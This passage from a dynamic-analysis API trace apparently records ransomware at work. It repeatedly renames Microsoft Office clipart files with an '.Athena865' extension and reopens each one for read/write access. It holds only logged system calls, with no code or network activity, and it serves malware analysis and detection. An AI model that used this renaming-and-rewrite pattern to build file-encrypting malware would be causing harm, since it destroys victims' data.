73 [0124.227] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.athena865"), dwFlags=0x1) returned 1 [0124.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.228] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16738) returned 1 [0124.231] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099187.JPG" | out: lpString1="J0099187.JPG") returned="J0099187.JPG" [0124.231] lstrlenW (lpString="J0099187.JPG") returned 12 [0124.231] lstrlenW (lpString="Athena865") returned 9 [0124.231] lstrcmpiW (lpString1="99187.JPG", lpString2="Athena865") returned -1 [0124.232] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.Athena865") returned 73 [0124.232] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.athena865"), dwFlags=0x1) returned 1 [0124.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.233] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24528) returned 1 [0124.236] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099188.JPG" | out: lpString1="J0099188.JPG") returned="J0099188.JPG" [0124.236] lstrlenW (lpString="J0099188.JPG") returned 12 [0124.236] lstrlenW (lpString="Athena865") returned 9 [0124.236] lstrcmpiW (lpString1="99188.JPG", lpString2="Athena865") returned -1 [0124.236] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.Athena865") returned 73 [0124.237] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.athena865"), dwFlags=0x1) returned 1 [0124.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.238] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9080) returned 1 [0124.241] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099189.JPG" | out: lpString1="J0099189.JPG") returned="J0099189.JPG" [0124.241] lstrlenW (lpString="J0099189.JPG") returned 12 [0124.241] lstrlenW (lpString="Athena865") returned 9 [0124.241] lstrcmpiW (lpString1="99189.JPG", lpString2="Athena865") returned -1 [0124.241] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.Athena865") returned 73 [0124.241] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.athena865"), dwFlags=0x1) returned 1 [0124.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.243] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8076) returned 1 [0124.246] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099190.JPG" | out: lpString1="J0099190.JPG") returned="J0099190.JPG" [0124.246] lstrlenW (lpString="J0099190.JPG") returned 12 [0124.246] lstrlenW (lpString="Athena865") returned 9 [0124.246] lstrcmpiW (lpString1="99190.JPG", lpString2="Athena865") returned -1 [0124.246] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.Athena865") returned 73 [0124.246] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.athena865"), dwFlags=0x1) returned 1 [0124.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.247] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=43892) returned 1 [0124.260] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099191.JPG" | out: lpString1="J0099191.JPG") returned="J0099191.JPG" [0124.261] lstrlenW (lpString="J0099191.JPG") returned 12 [0124.261] lstrlenW (lpString="Athena865") returned 9 [0124.261] lstrcmpiW (lpString1="99191.JPG", lpString2="Athena865") returned -1 [0124.261] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.Athena865") returned 73 [0124.261] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.athena865"), dwFlags=0x1) returned 1 [0124.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.262] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=62367) returned 1 [0124.267] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099192.GIF" | out: lpString1="J0099192.GIF") returned="J0099192.GIF" [0124.267] lstrlenW (lpString="J0099192.GIF") returned 12 [0124.267] lstrlenW (lpString="Athena865") returned 9 [0124.267] lstrcmpiW (lpString1="99192.GIF", lpString2="Athena865") returned -1 [0124.267] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.Athena865") returned 73 [0124.268] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.athena865"), dwFlags=0x1) returned 1 [0124.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.269] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17964) returned 1 [0124.272] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099193.GIF" | out: lpString1="J0099193.GIF") returned="J0099193.GIF" [0124.272] lstrlenW (lpString="J0099193.GIF") returned 12 [0124.272] lstrlenW (lpString="Athena865") returned 9 [0124.272] lstrcmpiW (lpString1="99193.GIF", lpString2="Athena865") returned -1 [0124.272] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.Athena865") returned 73 [0124.272] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.athena865"), dwFlags=0x1) returned 1 [0124.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.273] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=35546) returned 1 [0124.280] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099194.GIF" | out: lpString1="J0099194.GIF") returned="J0099194.GIF" [0124.280] lstrlenW (lpString="J0099194.GIF") returned 12 [0124.280] lstrlenW (lpString="Athena865") returned 9 [0124.280] lstrcmpiW (lpString1="99194.GIF", lpString2="Athena865") returned -1 [0124.280] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.Athena865") returned 73 [0124.280] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.athena865"), dwFlags=0x1) returned 1 [0124.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.281] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=25265) returned 1 [0124.285] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099195.GIF" | out: lpString1="J0099195.GIF") returned="J0099195.GIF" [0124.285] lstrlenW (lpString="J0099195.GIF") returned 12 [0124.285] lstrlenW (lpString="Athena865") returned 9 [0124.285] lstrcmpiW (lpString1="99195.GIF", lpString2="Athena865") returned -1 [0124.285] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.Athena865") returned 73 [0124.285] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.athena865"), dwFlags=0x1) returned 1 [0124.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.286] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19923) returned 1 [0124.289] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099196.GIF" | out: lpString1="J0099196.GIF") returned="J0099196.GIF" [0124.289] lstrlenW (lpString="J0099196.GIF") returned 12 [0124.290] lstrlenW (lpString="Athena865") returned 9 [0124.290] lstrcmpiW (lpString1="99196.GIF", lpString2="Athena865") returned -1 [0124.290] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.Athena865") returned 73 [0124.290] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.athena865"), dwFlags=0x1) returned 1 [0124.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.291] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14337) returned 1 [0124.295] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099197.GIF" | out: lpString1="J0099197.GIF") returned="J0099197.GIF" [0124.295] lstrlenW (lpString="J0099197.GIF") returned 12 [0124.295] lstrlenW (lpString="Athena865") returned 9 [0124.295] lstrcmpiW (lpString1="99197.GIF", lpString2="Athena865") returned -1 [0124.295] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.Athena865") returned 73 [0124.295] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.athena865"), dwFlags=0x1) returned 1 [0124.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.296] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10898) returned 1 [0124.299] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099198.GIF" | out: lpString1="J0099198.GIF") returned="J0099198.GIF" [0124.299] lstrlenW (lpString="J0099198.GIF") returned 12 [0124.299] lstrlenW (lpString="Athena865") returned 9 [0124.299] lstrcmpiW (lpString1="99198.GIF", lpString2="Athena865") returned -1 [0124.299] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.Athena865") returned 73 [0124.299] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.athena865"), dwFlags=0x1) returned 1 [0124.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.301] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5259) returned 1 [0124.304] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099199.GIF" | out: lpString1="J0099199.GIF") returned="J0099199.GIF" [0124.304] lstrlenW (lpString="J0099199.GIF") returned 12 [0124.304] lstrlenW (lpString="Athena865") returned 9 [0124.304] lstrcmpiW (lpString1="99199.GIF", lpString2="Athena865") returned -1 [0124.304] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.Athena865") returned 73 [0124.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.athena865"), dwFlags=0x1) returned 1 [0124.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.305] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33975) returned 1 [0124.309] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099200.GIF" | out: lpString1="J0099200.GIF") returned="J0099200.GIF" [0124.309] lstrlenW (lpString="J0099200.GIF") returned 12 [0124.309] lstrlenW (lpString="Athena865") returned 9 [0124.309] lstrcmpiW (lpString1="99200.GIF", lpString2="Athena865") returned -1 [0124.310] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.Athena865") returned 73 [0124.310] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.athena865"), dwFlags=0x1) returned 1 [0124.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.311] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16543) returned 1 [0124.314] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099201.GIF" | out: lpString1="J0099201.GIF") returned="J0099201.GIF" [0124.314] lstrlenW (lpString="J0099201.GIF") returned 12 [0124.315] lstrlenW (lpString="Athena865") returned 9 [0124.315] lstrcmpiW (lpString1="99201.GIF", lpString2="Athena865") returned -1 [0124.315] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.Athena865") returned 73 [0124.315] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.athena865"), dwFlags=0x1) returned 1 [0124.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.316] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=51401) returned 1 [0124.321] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099202.GIF" | out: lpString1="J0099202.GIF") returned="J0099202.GIF" [0124.321] lstrlenW (lpString="J0099202.GIF") returned 12 [0124.321] lstrlenW (lpString="Athena865") returned 9 [0124.321] lstrcmpiW (lpString1="99202.GIF", lpString2="Athena865") returned -1 [0124.321] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.Athena865") returned 73 [0124.321] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.athena865"), dwFlags=0x1) returned 1 [0124.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.324] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4967) returned 1 [0124.327] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099203.GIF" | out: lpString1="J0099203.GIF") returned="J0099203.GIF" [0124.327] lstrlenW (lpString="J0099203.GIF") returned 12 [0124.327] lstrlenW (lpString="Athena865") returned 9 [0124.327] lstrcmpiW (lpString1="99203.GIF", lpString2="Athena865") returned -1 [0124.327] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.Athena865") returned 73 [0124.328] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.athena865"), dwFlags=0x1) returned 1 [0124.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.329] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3904) returned 1 [0124.332] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099204.WMF" | out: lpString1="J0099204.WMF") returned="J0099204.WMF" [0124.332] lstrlenW (lpString="J0099204.WMF") returned 12 [0124.332] lstrlenW (lpString="Athena865") returned 9 [0124.332] lstrcmpiW (lpString1="99204.WMF", lpString2="Athena865") returned -1 [0124.332] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.Athena865") returned 73 [0124.332] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.athena865"), dwFlags=0x1) returned 1 [0124.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.335] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17854) returned 1 [0124.339] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0099205.WMF" | out: lpString1="J0099205.WMF") returned="J0099205.WMF" [0124.339] lstrlenW (lpString="J0099205.WMF") returned 12 [0124.339] lstrlenW (lpString="Athena865") returned 9 [0124.339] lstrcmpiW (lpString1="99205.WMF", lpString2="Athena865") returned -1 [0124.339] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.Athena865") returned 73 [0124.339] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.athena865"), dwFlags=0x1) returned 1 [0124.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 